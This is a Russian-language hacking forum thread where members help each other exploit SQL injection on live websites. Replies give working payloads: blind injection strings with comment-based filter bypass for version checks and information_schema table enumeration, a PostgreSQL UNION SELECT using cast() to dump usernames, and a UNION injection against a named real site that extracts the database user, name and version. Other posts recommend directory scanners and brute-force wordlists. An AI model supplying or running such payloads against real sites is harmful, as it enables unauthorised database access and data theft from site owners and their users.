Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    ну спс буду поковырят, если что составиш правильный запрос жду резултатов.
    Вот тока не пойму как можно выводит sql запросы на браузер, тоесть что отправлю через гет пост и на какой запрос превращается
     
  2. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    372
    Likes Received:
    54
    Reputations:
    4
    не могу подобрать именя таблиц и столбцов в 4ой версии (П.С. вывод виден только в исходном коде стр.), нужна Ваша помощь

     
  3. erolom

    erolom New Member

    Joined:
    14 Mar 2009
    Messages:
    0
    Likes Received:
    4
    Reputations:
    1
    Не подскажите пожалуйста хороший сканер для директорий сайта ..?
     
  4. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    372
    Likes Received:
    54
    Reputations:
    4
    erolom, security-digger.org
     
  5. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,508
    Likes Received:
    389
    Reputations:
    101
    wolmer, смахивает на DLE
     
  6. Alf0x0ns

    Alf0x0ns Member

    Joined:
    12 Jan 2010
    Messages:
    14
    Likes Received:
    5
    Reputations:
    1
  7. G4bR1eL

    G4bR1eL Elder - Старейшина

    Joined:
    25 Mar 2008
    Messages:
    70
    Likes Received:
    3
    Reputations:
    0
    х3, думаю покатит
     
    #11167 G4bR1eL, 22 Jan 2010
    Last edited: 22 Jan 2010
  8. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    проверь имя таблицы
     
  9. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    103
    Likes Received:
    54
    Reputations:
    7
    2erolom DirBuster написан на Java лудшего пока не встречал в коплекте огромные словари
     
  10. Ugol

    Ugol Banned

    Joined:
    26 Dec 2009
    Messages:
    195
    Likes Received:
    2
    Reputations:
    0
    словарик..http://www.chestor92.ru/publ/slovari_dlja_bruta/1-1-0-47
     
  11. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    хех не подумал что встречу 3ую ветку, спс за помощь ))
     
  12. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    упс тут вроде не третая версия:
    ?script=%2527))/**/and/**/(version()/**/like/**/%25275%%2527)/*
    на 5версию норм обрабатывает. Тока я не понял как теперь составит правильный запрос что вытянут имена из information_schema.tables если это реально конечно
     
  13. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    ой извини дружище, писал на спешку уходя с офиса. Вот правильный запрос.
    ?script=%2527%29%29/**/and/**/substring%28version%28%29/**/from/**/1/**/for/**/1%29=5/*

    На счёт дальнейшего перебора, мой вам совет, возьмите для начала что-нибудь по проще, толк будет намного больше, я серьёзно...
    ps. а по поводу как именно перебирать, то здесь всё просто.
    ?script=%2527))/**/and/**/lower(ascii(substring((select(table_name)from(information_schema.tables)where/**/table_name=%2527CHARACTER_SETS%2527/**/LIMIT/**/1)/**/from/**/1/**/for/**/1)))=99/*
     
    #11173 v1d0qz, 23 Jan 2010
    Last edited: 23 Jan 2010
  14. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    угу немного сложновато придется перебор, вот я саму конструкцию немного непонял. Где тут номер для второго символа ставит?
    /LIMIT/**/2,1)/**/from/**/1/**/for/**/1)))=99/* не пашет так как на запятую ругается. Если бы запрос было таким: AND ascii(lower(substring(user(),4,1)))>110 то понятно что тут четвертый символ перебирается, но выше немного посложнее как видно и еще на запросе уже написан имя character_sets и зачем надо еще раз перебират если уже известно название ))
     
  15. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    YuNi|[c,

    https://forum.antichat.ru/showpost.php?p=1734696&postcount=12
    https://forum.antichat.ru/showpost.php?p=1734851&postcount=13
     
    1 person likes this.
  16. samarin

    samarin Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    136
    Likes Received:
    31
    Reputations:
    1
    PostgreSQL
    как преобразовать тип данных для вывода информации?
     
  17. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    198
    Likes Received:
    161
    Reputations:
    108
    использовать функцию cast, например:
    UNION+SELECT+null,null,cast(username+as+text),null,null+from+users
     
  18. samarin

    samarin Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    136
    Likes Received:
    31
    Reputations:
    1
    грабли
     
  19. Gidz

    Gidz New Member

    Joined:
    10 Aug 2009
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    Здравствуйте. Подскажите, вот допустим есть такая инъекция

    Code:
    http://arcadepod.com/shockwave/gotogame.php?id=2358 union select 1,2,3,4
    если поставить "-" или например несуществующее значение переменной id, то редиректит на другую станицу с ошибкой.. можно ли как нить вывести нужные значения?
     
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    2,007
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://arcadepod.com/shockwave/gotogame.php?id=2358+and+null+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4
     
Loading...
Thread Status:
Not open for further replies.